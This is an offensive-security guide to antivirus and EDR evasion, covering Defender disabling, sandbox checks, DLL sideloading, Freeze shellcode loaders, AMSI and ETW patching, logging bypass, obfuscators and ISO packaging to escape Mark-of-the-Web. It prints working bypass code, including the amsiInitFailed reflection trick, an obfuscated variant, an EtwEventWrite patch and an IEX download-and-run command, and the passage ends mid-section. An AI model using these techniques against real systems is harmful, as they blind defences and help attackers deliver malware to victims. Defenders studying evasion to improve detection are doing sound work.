# Antivirus (AV) Bypass {% tabs %} {% tab title="Support VeryLazyTech 🎉" %} * Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁** * **Follow** us on: * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.** * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.** * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.** * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.** * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.** * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.** * Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. 📚 {% endtab %} {% endtabs %} ## Stop Windows Defender (Bypass Microsoft Defender) When performing red team operations or malware testing in lab environments, disabling or bypassing **Windows Defender (Microsoft Defender)** is often a necessary first step. While modern Defender versions are harder to disable, there are still a few common tools and techniques used to neutralize it — especially if you have administrative privileges. ### [**defendnot**](https://github.com/es3n1n/defendnot) – Kill Defender in One Click `defendnot` is a lightweight tool designed to **disable Windows Defender** by modifying key services and registry entries. It's often used in post-exploitation stages where persistence is already achieved. Keep in mind that many versions of this tool are flagged as malicious, so execution must be stealthy or obfuscated. **Features:** * Disables real-time protection * Stops Defender services * Modifies registry keys to prevent reactivation ### [**no-defender**](https://github.com/es3n1n/no-defender) – Fake AV Method The `no-defender` script uses a clever method to fool Windows into thinking another antivirus solution is installed. This triggers **Windows Security Center** to automatically disable Defender to prevent conflicts. **How it works:** * Fakes the presence of another AV solution by editing WMI or registry entries * Causes Defender to automatically shut itself down * Requires minimal permissions and leaves fewer traces than brute-force disabling > ✅ Effective in environments where you cannot fully disable Defender, but need to suppress its real-time scanning. ### **Manual Defender Disable (Admin Rights Required)** If you have administrative privileges, the most direct method is to disable Defender manually via PowerShell or Group Policy. **PowerShell (Run as Admin):** ```powershell Set-MpPreference -DisableRealtimeMonitoring $true ``` **Group Policy:** 1. Run `gpedit.msc` 2. Navigate to:\ `Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus` 3. Set **Turn off Microsoft Defender Antivirus** to **Enabled** This will **completely shut down Defender**, though modern Windows versions may automatically reactivate it after a while or after reboot. *** ## **AV Evasion Methodology** If you’ve ever created a tool or payload for a red team exercise, malware lab, or ethical hacking test, you’ve probably seen your file get **instantly flagged or deleted by antivirus software** — even before you could run it. That’s because modern security tools like **Windows Defender** and **EDR (Endpoint Detection and Response)** software are much smarter than they used to be. They don’t just look for viruses — they **analyze how files behave**, both before and after execution. In this guide, we’ll break down **how AVs detect malware** and how attackers try to bypass each layer using real-world examples. ### Static Detection — "Caught Without Even Running" **Static detection** is the simplest and fastest method. The antivirus scans your file **before it runs**, and checks: * Known virus **signatures** (patterns of code) * Suspicious or **malicious strings** (e.g., `mimikatz`, `powershell -enc`) * **Metadata** (file name, version, company name, icon) * **File structure** (e.g., abnormal PE headers or compressed sections) {% hint style="info" %} You download a public reverse shell script called `meterpreter.exe` from GitHub. Before you even run it, Defender deletes it. Why? Because it's already **flagged and fingerprinted** in their database. {% endhint %} ### 🛠️ How to Bypass It: #### **🔒 Encryption** Attackers encrypt the malicious part of the code so antivirus can’t see it. A **loader program** decrypts it during runtime. Encrypting a Cobalt Strike beacon and using a C# loader to inject it into memory. #### **🌀 Obfuscation** They change the code's appearance without changing what it does. This confuses signature scanners. ``` Replace all strings like "mimikatz" with "miXXkz" and decode them at runtime. ``` **⚙️ Custom Tools** They build their own tools from scratch, so there's no existing signature. ``` Writing a custom LSASS dumper in C instead of using mimikatz.exe. ``` **✅ Pro Tip: Use ThreatCheck** It’s a tool that helps you test which parts of your file Defender doesn’t like. It breaks your file into pieces and checks which ones trigger detection. ### Dynamic Analysis — "Let's See What It Actually Does" If your file passes the static checks, AVs may run it in a **sandbox** — a fake computer environment — to see what it tries to do. If your file starts: * Dumping passwords * Spawning PowerShell * Reading browser cookies\ …it’ll probably get blocked. ### 🛠️ How to Avoid Sandboxes: #### **⏳ Sleep Before Execution** They delay the malicious action. Sandboxes only run files for a short time. ``` Add a sleep(60) command. If the sandbox only watches for 10 seconds, it won’t catch anything. ``` ⚠️ Advanced sandboxes may **skip sleep calls**, so attackers use tricky sleep methods (like CPU loops or encryption delays). #### **💻 Check for Low Resources** Most sandboxes have very little RAM and CPU to stay fast. ``` If RAM < 2GB, exit the program. ``` #### **🖥️ Machine Checks (Anti-Sandbox Tricks)** They check if the file is running on a real user’s machine or a fake one. Microsoft Defender's sandbox uses a computer name called `HAL9TH`. So malware can do: ```bash if (computer_name == "HAL9TH") exit(); ``` ➡️ Example: Only run if the system is part of a real company domain like `contoso.local`. It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.

source: https://youtu.be/StSLxFbVz0M?t=1439

*** ## 🛡️ EXE vs DLL Payloads for AV Evasion When it comes to bypassing antivirus (AV) detection, **Dynamic Link Libraries (DLLs)** often present a lower detection profile compared to standard executable (EXE) files. This observation is especially true in the context of offensive security tools like Havoc, where detection signatures for EXEs are more mature and widely distributed among endpoint protection platforms. In practical red team operations, it's generally advisable to **favor DLL payloads over EXEs whenever feasible**. This is because DLL files tend to attract less immediate scrutiny, both from static and dynamic analysis engines. There are several reasons for this: * **Less common as direct execution targets**: DLLs are typically loaded by another process rather than executed directly, making them less likely to be flagged during casual analysis. * **Execution context control**: DLLs can be injected into trusted processes (e.g., via `rundll32.exe`, `regsvr32.exe`, or manual injection), allowing more stealthy execution chains. * **Fewer behavioral triggers**: Since DLLs are often executed through indirect methods, they may not immediately display suspicious behavior, helping them evade heuristic or behavioral detection models. ### **🔍 Case Comparison – EXE vs DLL Detection Rates** As demonstrated in the following [virustotal.com](https://www.virustotal.com/) comparison, a **standard Havoc DLL payload** showed a significantly lower detection rate compared to its EXE counterpart: * **EXE Payload**: Detected by 7 out of 26 engines * **DLL Payload**: Detected by only 4 out of 26 engines This doesn't imply DLLs are undetectable — **all payloads can and eventually will be caught if reused enough** — but the lower signature profile makes DLLs a better starting point for stealthy execution. *** #### 🧬 DLL Sideloading & Proxying for Stealthy Payload Execution **DLL Sideloading** is a well-known and highly effective technique for achieving stealthy execution of malicious code by exploiting the Windows DLL search order. The concept is simple: many applications load DLLs from their own directory before searching system paths. By placing a **malicious DLL alongside a trusted application**, you can trick the application into loading your code instead of the legitimate library. This technique is particularly valuable in red team engagements, especially when you want to blend into legitimate application behavior. **🔍 Identifying DLL Sideloading Opportunities** To discover applications susceptible to DLL sideloading, tools like [**Siofra**](https://github.com/DeimosC2/Siofra) are incredibly useful. Below is a PowerShell script that recursively scans executables within `C:\Program Files\` and checks for potential DLL hijack opportunities: ```powershell powershellCopyEditGet-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name | ForEach-Object { $binaryToCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binaryToCheck } ``` This will produce a list of applications and the DLLs they attempt to load — helping you target candidates for hijacking. > ⚠️ **Important Note**: Many public sideloading targets are widely known and monitored by EDRs. **Always test and verify** before using them in an engagement. Prefer discovering new, lesser-known targets for stealthier operations. *** ## 🔁 DLL Proxying: Preserving Application Functionality Simply dropping a DLL with the correct filename is not enough. Applications often expect the loaded DLL to expose specific exported functions. If these are missing, the application may crash or fail to load the DLL. To overcome this, we use **DLL Proxying (or Forwarding)** — a technique where the malicious DLL: 1. **Implements required exports** that forward calls to the original DLL. 2. **Executes the payload** alongside this forwarding logic. This preserves the original functionality of the application while allowing malicious code execution — making it extremely stealthy. ### 🛠️ Building a Proxy DLL with SharpDLLProxy We’ll use the excellent [**SharpDllProxy**](https://github.com/flangvik/SharpDllProxy) tool by @flangvik to automate the creation of proxy DLLs: **Steps to Create a Working Proxy DLL:** 1. **Identify a vulnerable application**\ Use tools like Siofra or Process Hacker to find a binary that loads external DLLs insecurely. 2. **Generate shellcode**\ For example, using [Havoc C2](https://github.com/HavocFramework/Havoc). 3. **(Optional) Encode the shellcode**\ To further obfuscate detection, you can use an encoder like [Shikata Ga Nai (SGN)](https://github.com/EgeBalci/sgn). 4. **Generate the proxy code**\ Use SharpDllProxy to generate forwarding stubs and inject the shellcode: ```bash .\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin ``` This will generate: * A C source file that proxies the original DLL and executes your payload. * The renamed original DLL to forward calls to.
5. **Compile the proxy DLL** * Open Visual Studio and create a new **C++ DLL project**. * Paste the proxy code from `output_dllname/dllname_pragma.c`. * Build the DLL.
6. **Deploy your proxy DLL**\ Place it alongside the target executable under the expected DLL name. *** ## ❄️ Freeze: Stealthy Shellcode Execution via Direct Syscalls & Suspended Processes [**Freeze**](https://github.com/optiv/Freeze) is a lightweight and powerful payload delivery toolkit developed by Optiv. It is designed to **evade modern Endpoint Detection and Response (EDR) solutions** by leveraging several advanced evasion techniques, including: * **Suspended process injection** * **Direct system calls (syscalls)** * **Custom shellcode encryption and execution** * **Bypassing userland API hooks** Freeze is particularly effective in situations where traditional injection techniques (e.g., `CreateRemoteThread`, `VirtualAllocEx`) are flagged by AV/EDR. ### ⚙️ How Freeze Works Freeze creates an **executable payload stub** that, when launched, will: 1. Decrypt and load embedded shellcode. 2. Spawn a **suspended legitimate process** (e.g., `notepad.exe` or `dllhost.exe`). 3. Inject the shellcode using **direct syscalls** instead of standard Windows APIs — avoiding common detection triggers. 4. Resume the target process, executing your shellcode in memory. This approach minimizes behavioral anomalies and **avoids detection by user-mode hooks** that most EDRs rely on. *** ### 🛠️ Using Freeze with Havoc Shellcode Here’s a quick walkthrough for building and using Freeze with shellcode generated from **Havoc C2**: 1. **Clone and build Freeze:** ```bash git clone https://github.com/optiv/Freeze.git cd Freeze go build Freeze.go ``` 2. **Generate your shellcode**\ (e.g., raw `.bin` payload from Havoc C2 or any shellcode generator like msfvenom or Donut). 3. **Build the Freeze payload with encryption enabled:** ```bash ./Freeze -I demon.bin -encrypt -O demon.exe ``` * `-I demon.bin`: Input shellcode. * `-encrypt`: Encrypt the payload in the stub for obfuscation. * `-O demon.exe`: Output filename. 4. **Execution**\ Run the resulting `demon.exe`. It will launch a trusted process in a suspended state, inject your shellcode using direct syscalls, and resume execution — **without triggering Microsoft Defender or most commercial EDRs** (as of the last test).
> ✅ **Result**: In controlled tests, Freeze-enabled payloads **executed silently with no alerts from Windows Defender**, thanks to its combination of encryption, syscalls, and stealthy process manipulation. *** ## 🧠 AMSI (Anti-Malware Scan Interface) **AMSI**, or **Anti-Malware Scan Interface**, is a security feature introduced by Microsoft to **detect and block fileless malware** — that is, malicious code that never touches disk and only lives in memory. Before AMSI, antivirus programs mainly scanned files stored on your hard drive. This meant if an attacker delivered a payload directly into memory (like through PowerShell or VBScript), **traditional AV engines couldn’t catch it**. AMSI was built to close that gap. ### 🔍 What is AMSI and Where Does It Work? AMSI is **integrated directly into the Windows OS**, especially in scripting and automation components. This means when you run a script, AMSI steps in to scan its contents **before** it’s executed — even if it's obfuscated or loaded directly into memory. AMSI is active in: * **PowerShell** – Both scripts and commands typed interactively * **Windows Script Host** – `wscript.exe`, `cscript.exe` (for VBScript and JavaScript) * **Office Macros** – Like VBA in Excel or Word * **JavaScript/VBScript** – When run on Windows * **UAC** (User Account Control) – When launching `.exe`, `.msi`, `.com`, or ActiveX installers * **.NET applications** – Starting from **.NET Framework 4.8**, even in-memory loaded code is scanned When malicious or suspicious code is detected, AMSI passes it to the antivirus engine (like Windows Defender) to decide whether to block it. ### 🧪 AMSI in Action Let’s say you try running this PowerShell command: ```powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') ``` This script attempts to download and execute a known offensive PowerShell tool (PowerView) — all in memory. You might think this would go unnoticed because nothing hits the disk. However, **AMSI inspects the script** before it runs. Defender flags it with a message like: ``` amsi: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Detected malicious content ``` Even though **no file was saved**, AMSI still caught it because it analyzes **live memory content**. ### ⚙️ Why .NET Version Matters If you’re using **.NET 4.8 or higher**, AMSI is also applied to C# assemblies, including those loaded using: ```csharp Assembly.Load(byte[]) ``` This means even if your payload is in-memory, .NET will pass it through AMSI. For this reason, **attackers often target older .NET versions like 4.7.2 or below**, where this check doesn’t exist. ### 🚩 Common AMSI Bypass Techniques Now that you know what AMSI does, here are **real-world techniques** attackers use to bypass it. Each has pros, cons, and detection risks. ### **1. 🌀 Script Obfuscation** Since AMSI looks for **known malicious patterns**, attackers try to hide or change how their code looks. For example: * Change variable names * Break up keywords * Encode parts of the script ⚠️ However, **AMSI is capable of deobfuscating** even layered obfuscation, especially if it uses common techniques. This means obfuscation might work — or it might fail badly. It all depends on **how well** the obfuscation is done and **how aggressively** AMSI is configured. ### **2. 🧱 Forcing AMSI to Fail (amsiInitFailed Trick)** AMSI is implemented as a **DLL (Dynamic Link Library)** that’s loaded into every script engine (like PowerShell, wscript, etc.). If that DLL fails to initialize, AMSI doesn't work. This line forces AMSI to “fail silently”: ```powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` 💡 This disables AMSI **in the current PowerShell process**. ✅ Works even as an unprivileged user\ ❌ But: This command is **heavily flagged** today — most AVs detect and block it immediately. ### **3. 🧙 Modified AMSI Bypass (Obfuscated Version)** Here’s an obfuscated version of the AMSI bypass to reduce detection: ```powershell Try{ $Xdatabase = 'Utils';$Homedrive = 'si' $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' $DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join '' $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300 $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e') $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e') $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase)) $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` ⚠️ **Important**: This will probably get flagged as well over time. Once bypass techniques become public, AV signatures are updated quickly. ### **4. 🧬 Memory Patching (AmsiScanBuffer Hack)** Discovered by [@RastaMouse](https://rastamouse.me/memory-patching-amsi-bypass/), this technique involves: * Locating the function `AmsiScanBuffer` inside `amsi.dll` * Overwriting it in memory to always return `E_INVALIDARG` (which means: “everything is fine” to AMSI) ✅ It’s stealthier than the `amsiInitFailed` trick\ ❌ Requires **deep understanding of memory manipulation** and **riskier if done wrong** You can read the detailed guide here:\ 📖 ### **5. 🧹 Removing AMSI Signatures From Memory** Tools like: * 🔧 [PSAmsi](https://github.com/cobbr/PSAmsi) * 🔧 [AMSITrigger](https://github.com/RythmStick/AMSITrigger) These scan the **process memory** for AMSI detection signatures and then overwrite them (usually with NOP instructions). It’s like wiping fingerprints before the cops arrive. ### **6. ⚔️ Tools that Help Bypass AMSI** * 🛠️ [AMSI.fail](https://github.com/Flangvik/AMSI.fail): Generates multiple evasion-ready AMSI bypass payloads * 📚 [whoamsi](https://github.com/subat0mik/whoamsi): Lists which AV/EDR products use AMSI ### **7. 🚫 Use PowerShell v2 (No AMSI at All)** If you start PowerShell in **version 2 mode**, AMSI doesn’t load at all. ```bash powershell.exe -version 2 ``` ⚠️ This version is **deprecated**, and many systems disable it. But if it’s enabled, it’s a fast way to run unscanned scripts. *** ## 🔍 PowerShell Logging **PowerShell Logging** is a built-in Windows feature designed to **monitor and record PowerShell activity** on a system. This is a powerful forensic and security tool that allows defenders to: * Track **every PowerShell command** that was executed * Identify usage of suspicious scripts * Detect lateral movement and post-exploitation actions From a **defensive** perspective, logging is great. But from an **attacker’s point of view**, it’s a huge risk — because **every move is recorded**. ### 🛡️ What Does PowerShell Log Exactly? Modern versions of Windows log PowerShell activity in several different ways: #### **📓 1. Script Block Logging** * Records **entire blocks of code**, even if it’s obfuscated. * Even dynamically generated scripts (e.g., using `Invoke-Expression`) are captured. #### **📜 2. Module Logging** * Logs all commands executed **within PowerShell modules**. * Useful to see when someone uses tools like PowerView or PowerSploit. #### **🖊️ 3. Transcription Logging** * Acts like a keylogger for PowerShell. * Records **all input and output** to a text file, line by line. These logs are typically stored in **Event Viewer** under:\ `Applications and Services Logs > Windows PowerShell`\ and\ `Microsoft-Windows-PowerShell/Operational`. ### 🚨 Why This Matters for Red Teamers and Attackers If you're using PowerShell to perform tasks like privilege escalation, lateral movement, or payload execution — **logging will expose you**, even if you never drop a file to disk or use obvious malware. That’s why **bypassing PowerShell logging** is a common tactic used by attackers and red teamers alike. ### ⚙️ Common Techniques to Bypass PowerShell Logging Let’s break down **practical methods** used to evade PowerShell logging. These aren’t magic bullets — but understanding them is critical if you're studying offensive security or trying to improve detection. #### **🔕 1. Disable Script Logging (If You Have Access)** If you already have code execution and want to turn off logging at runtime, there are tools that do this automatically. ✅ Tool: [`DisablePSLogging.cs`](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs)\ This C# tool disables: * Script Block Logging * Module Logging * Transcription Logging 🛠️ How it works: * Modifies registry keys and internal PowerShell variables in memory. * Requires .NET and appropriate permissions (not necessarily admin, but some techniques might require elevated context). ⚠️ **Important**: This technique may not work on hardened systems with enforced group policies or EDR hooks. #### **🕵️ 2. Use PowerShell Version 2 (No Logging, No AMSI)** ```bash powershell.exe -version 2 ``` Launching PowerShell in **version 2 mode** disables modern features like: * AMSI (Anti-Malware Scan Interface) * Script Block Logging * Transcription Logging ⚠️ PowerShell v2 is **deprecated and often disabled** on newer Windows systems, but if it’s still enabled, this is a fast and simple evasion method. #### **🧩 3. Use an Unmanaged PowerShell Session** A much more stealthy method is to **launch PowerShell without using `powershell.exe` at all**. ✅ Tool: [`UnmanagedPowerShell`](https://github.com/leechristensen/UnmanagedPowerShell)\ This C# project allows you to: * Run PowerShell scripts from memory * Avoid `powershell.exe`, AMSI, and logging entirely 🧠 How it works: * Loads the PowerShell engine directly from the .NET runtime * Does not invoke *** ## 🧩 Code Obfuscation **Code obfuscation** is a technique used to make your code harder to analyze, reverse-engineer, or detect — especially by antivirus (AV), endpoint detection and response (EDR) systems, and reverse engineers. But obfuscation is a **double-edged sword**: while it hides your code logic, it can also **increase the entropy (randomness)** of the binary. Ironically, this makes it **more suspicious to AV/EDR** engines, which often flag high-entropy files as potentially malicious. That’s why it's important to apply obfuscation **strategically**, focusing only on parts of your code that handle sensitive logic, payload execution, or recognizable malware patterns. #### 🧠 What Is Entropy and Why It Matters > Entropy, in this context, refers to how "random" or "chaotic" the data looks. Encrypted or heavily obfuscated binaries have **higher entropy** than normal programs, which makes them **stand out** during static analysis. Antivirus engines look for this as a signal of potential obfuscation, packing, or encryption. ✅ **Tip:** Only obfuscate critical sections of your code — such as payload execution, loader logic, or signature-heavy strings — rather than the whole binary. ### 🛠️ Top Tools for Obfuscating Code and Binaries Here’s a curated list of **popular obfuscation tools** used in red teaming, malware development, and software protection. Each one serves a slightly different purpose — some are for C#, others for C++, and some for low-level PE obfuscation. **🔐 ConfuserEx (for .NET)** * **Language**: C# / .NET Framework * **Purpose**: Obfuscate and protect .NET applications * **Features**: Control flow obfuscation, anti-debugging, anti-tampering, and string encryption 💡 Recommended because it allows **selective obfuscation** — you can choose which parts of the code to protect. GitHub: [ConfuserEx](https://github.com/yck1509/ConfuserEx) *** **🥷 InvisibilityCloak** * **Language**: C# * **Purpose**: Lightweight C# code obfuscator * **Features**: Basic obfuscation for PowerShell loaders and .NET implants * **Use Case**: Red teamers hiding C# beacon droppers or reflective loaders *** **🔧 Obfuscator-LLVM (for C/C++)** * **Language**: C/C++ * **Purpose**: LLVM compiler fork with built-in obfuscation capabilities * **Features**: Control flow flattening, instruction substitution, bogus control flow * **Use Case**: Compile native binaries with embedded obfuscation techniques GitHub: [obfuscator-llvm](https://github.com/obfuscator-llvm/obfuscator) *** **💡 ADVobfuscator** * **Language**: C++11/14 * **Purpose**: Compile-time C++ obfuscation * **Features**: Uses template metaprogramming to obfuscate strings and logic during compilation * **Benefits**: No third-party tools or binary modification required *** **🌀 obfy** * **Language**: C++ * **Purpose**: Template-based obfuscation framework * **Use Case**: Adds complex operations to slow down reverse engineering 🔐 Great for making static analysis and disassembly more difficult. *** **🏴‍☠️ Alcatraz** * **Type**: x64 binary obfuscator * **Targets**: PE files like `.exe`, `.dll`, `.sys` * **Features**: Obfuscates code and metadata to defeat static analysis 💡 Useful for native shellcode loaders or drivers you want to keep hidden from signature-based detection. *** **🧬 metame** * **Type**: Metamorphic engine * **Purpose**: Rewrites executable code into different but equivalent forms * **Use Case**: Avoid signature detection by constantly mutating the binary structure 📌 This is more advanced and less common — used in custom malware development. *** **🔗 ROPfuscator** * **Type**: Assembly-level obfuscation using ROP (Return-Oriented Programming) * **Language**: LLVM-compatible languages (C/C++) * **What it does**: Replaces normal code with **ROP chains**, completely breaking traditional control flow * **Use Case**: Highly evasive binaries that are extremely difficult to analyze GitHub: [ROPfuscator](https://github.com/odzhan/ropfuscator) *** **🛡️ Nimcrypt** * **Language**: Nim * **Purpose**: .NET PE crypter * **Use Case**: Encrypt and encode .NET executables with simple or layered encryption 🔥 Increasingly popular in offensive security due to Nim’s ability to generate lightweight, low-detection binaries. GitHub: [Nimcrypt](https://github.com/icyphox/nimcrypt) *** **💣 Inceptor** * **Purpose**: Converts `.exe` or `.dll` into shellcode * **Bonus**: Supports **AV evasion** by obfuscating and encoding binaries before loading them in memory * **Use Case**: Combine with manual injection tools or loaders to avoid writing payloads to disk GitHub: [Inceptor](https://github.com/klezVirus/inceptor) ### Tool Selection Cheat Sheet | Tool | Language | Type | Best Use Case | | ----------------- | -------------- | ------------------------- | ------------------------------------ | | ConfuserEx | C# / .NET | .NET binary obfuscator | Obfuscating C# implants and droppers | | InvisibilityCloak | C# | Lightweight obfuscator | Red team scripts or loaders | | Obfuscator-LLVM | C/C++ | Compiler-integrated | Native malware or loaders | | ADVobfuscator | C++11/14 | Compile-time obfuscation | C++ agents or RATs | | Alcatraz | Any x64 binary | Binary-level obfuscator | PE shellcode loaders | | Nimcrypt | Nim | .NET crypter | AV evasion for .NET payloads | | Inceptor | N/A | Shellcode conversion tool | Convert binaries into shellcode | ## 🧱 Bypassing SmartScreen and Mark-of-the-Web (MoTW) When you download an `.exe` file from the internet and try to run it, you might have seen a warning like: > “**Windows protected your PC** – Microsoft Defender SmartScreen prevented an unrecognized app from starting.” That’s **Microsoft Defender SmartScreen** in action — a security feature designed to **protect users from running unknown or potentially harmful applications**. In this section, we’ll break down what SmartScreen and MoTW are, how they work, and what techniques attackers use to bypass them in real-world scenarios. ### 🛡️ What is SmartScreen? **SmartScreen** is a **reputation-based protection system** developed by Microsoft. It doesn’t scan the file like antivirus engines do — instead, it asks: * Has this file been downloaded by many people? * Is it signed by a trusted certificate? * Is the source URL known for distributing malware? If the file is **rare, unsigned, or comes from an untrusted source**, SmartScreen displays a warning prompt to the user, blocking execution by default. 🧠 **Important Note**: The user can still override this by clicking `More Info > Run Anyway`, but this extra friction can stop casual execution — especially in phishing or malware campaigns. ### 📎 What is Mark-of-the-Web (MoTW)? When a file is downloaded from the internet using browsers, email clients, or other tools, Windows **automatically tags it with metadata** to indicate it came from an external (potentially unsafe) source. This metadata is called **Mark-of-the-Web**, or **MoTW**, and it's stored in a special **NTFS Alternate Data Stream (ADS)** attached to the file, named: ``` Zone.Identifier ``` This ADS includes: * The **zone** (e.g., Internet Zone) * The **URL** where the file came from * The **referrer URL** 🔍 You can view this metadata with: ```powershell Get-Content .\payload.exe -Stream Zone.Identifier ``` If MoTW is present and the file is an `.exe`, `.dll`, `.js`, or other executable type, **SmartScreen, AMSI, or PowerShell logging may trigger additional security checks**. ### ✅ Trusted Certificates Bypass SmartScreen If your executable is **digitally signed with a valid, trusted code-signing certificate**, SmartScreen **will not block it** — even if it’s newly created. 📝 That’s why many malware campaigns (and red teamers) use **stolen or purchased code-signing certificates** to bypass SmartScreen reputational checks. ### 📦 Bypassing MoTW with Container Files A highly effective trick to **prevent the Mark-of-the-Web** from being applied is to **package the payload inside a container file**, such as: * `.iso` (disk image) * `.vhd` (virtual hard disk) * `.zip` (in some cases) Why does this work? > **MoTW can only be applied to files on NTFS partitions.** When files are inside containers like ISO images, and mounted locally, they don’t carry the Zone.Identifier stream — because the file system inside the ISO isn’t NTFS. So, if you deliver your payload inside an `.iso` file: * The user downloads the ISO * They mount it * The payload runs **without SmartScreen warnings**, even if it came from the web ### 🔧 Tool Spotlight: PackMyPayload [**PackMyPayload**](https://github.com/mgeeky/PackMyPayload) is a tool created by Mariusz Banach (`@mgeeky`) that automatically packages your `.exe` or `.dll` payload into an `.iso` file to bypass MoTW and SmartScreen prompts. **🧪 Example Usage:** ```bash python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + o + o + o + o + o + + o + + o + + + o + + o -_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' + o o + o + o o + o + o + o ~ Mariusz Banach / mgeeky o o ~ + ~ o + o + + [.] Packaging input file to output .iso (iso)... Burning file onto ISO: Adding file: /TotallyLegitApp.exe [+] Generated file written to (size: 3420160): container.iso ``` 📦 This will generate a file like `container.iso` containing your original payload, ready to send. When the ISO is mounted and the executable is run from it: * There’s **no Zone.Identifier stream** * SmartScreen is **less likely** to trigger warnings * Defender may still scan the binary, but **MoTW-specific protections are neutralized**
*** ## 📡 Event Tracing for Windows (ETW) **ETW**, or **Event Tracing for Windows**, is a powerful logging and telemetry feature built directly into the Windows operating system. It allows the system and applications to **log detailed events** that can be used for: * Performance monitoring * Debugging * **Security auditing and threat detection** Many **modern EDR (Endpoint Detection and Response) systems** and antivirus engines use ETW behind the scenes to collect telemetry data **without injecting code or hooking APIs**, making it a stealthy and efficient way to monitor what’s happening on a system. ### 🔍 How ETW Works ETW uses **event providers** to generate logs, and **event consumers** (like security products) to collect and analyze them. Some common Windows components that act as ETW providers include: * PowerShell (via the `Microsoft-Windows-PowerShell` provider) * .NET runtime (via `Microsoft-Windows-DotNETRuntime`) * Sysmon, if installed * Any custom ETW-aware application Security tools **listen to these providers** to detect suspicious activity like: * PowerShell script execution * DLL injection * Process creation * Reflective assembly loading ### 🧠 How to Bypass ETW Logging Just like with AMSI, there’s a known technique to **disable ETW logging for a specific process at runtime** by patching its memory. The key target is the function: ```c EtwEventWrite ``` This function is responsible for emitting ETW events from user-mode processes. If you **patch this function in memory** so that it **returns immediately without writing anything**, you effectively disable ETW logging for that process. *** ### 🛠️ Practical ETW Bypass: In-Memory Patching Here’s the general idea: * Locate the address of `EtwEventWrite` within the current process’s memory space * Overwrite the function’s first few bytes with a **stub** (e.g., return `0`) * As a result, calls to `EtwEventWrite` become no-ops This is **very similar** to AMSI bypasses that patch `AmsiScanBuffer`. **Example (C# Concept):** ```csharp IntPtr funcAddr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); uint oldProtect; VirtualProtect(funcAddr, 4, PAGE_EXECUTE_READWRITE, out oldProtect); Marshal.Copy(new byte[] { 0xC3 }, 0, funcAddr, 1); // 0xC3 = RET instruction ``` ⚠️ This disables ETW **only for the current process** — security tools may still see other indicators (like new process creation or memory injection from another process). #### 📚 More Info & Resources If you want to explore ETW bypasses in detail, check out these trusted resources: * 📝 Blog: [Hiding your .NET attacks from ETW](https://blog.xpnsec.com/hiding-your-dotnet-etw/) by @*xpn* * 📖 Docs: [ETW Providers Documentation](https://github.com/repnz/etw-providers-docs) *** ## 💉 C# Assembly Reflection One of the most effective techniques for stealthy post-exploitation in modern red teaming is **loading C# assemblies directly into memory using reflection**. This allows attackers to run powerful .NET tools like **PowerView**, **Seatbelt**, or custom implants **without writing a single file to disk** — making it much harder for antivirus (AV) and EDR (Endpoint Detection and Response) tools to detect. This technique, often referred to as **in-memory assembly loading** or **assembly reflection**, is widely used in frameworks like: * 🛠️ Cobalt Strike * 🧪 Sliver * 🕶️ Covenant * ☠️ Metasploit * 💣 Havoc C2 ### 🧠 Why This Technique Works When a C# binary is executed normally (e.g., running `Seatbelt.exe`), the file is dropped to disk, scanned by AV, and may get blocked. However, using reflection, you can: 1. Load the binary as a **byte array in memory** 2. Execute its **entry point** using the \`.NET runtime\*\* — without ever writing the file to disk This means: * **No file hashes to scan** * **No executable on disk to flag** * **No signature-based detection if you patch AMSI first** > 💡 The only thing you must handle is **AMSI (Anti-Malware Scan Interface)**, which scans .NET methods and PowerShell scripts in memory. Once that’s bypassed, you're in the clear. ### 🧪 Two Common Execution Modes There are two primary ways to execute C# assemblies in memory: **Inline** and **Fork & Run**. Each has its pros and cons. #### **🔁 1. Fork & Run** **What it does**: * Creates a **sacrificial process** (e.g., `notepad.exe`, `dllhost.exe`) * Injects the C# assembly or shellcode into that process * Executes it * Kills the process after completion ✅ **Benefits**: * Your main implant (beacon) stays safe — if the payload crashes or gets detected, it doesn't kill your C2 session * Can bypass basic EDR process tree correlations if done properly ❌ **Drawbacks**: * Spawning new processes is noisy * Behavioral detections may alert on suspicious child processes or code injection behavior 📌 Common in: **Cobalt Strike’s `execute-assembly`, Sliver’s `spawn` options, Havoc’s fork modules** #### **📍 2. Inline Execution** 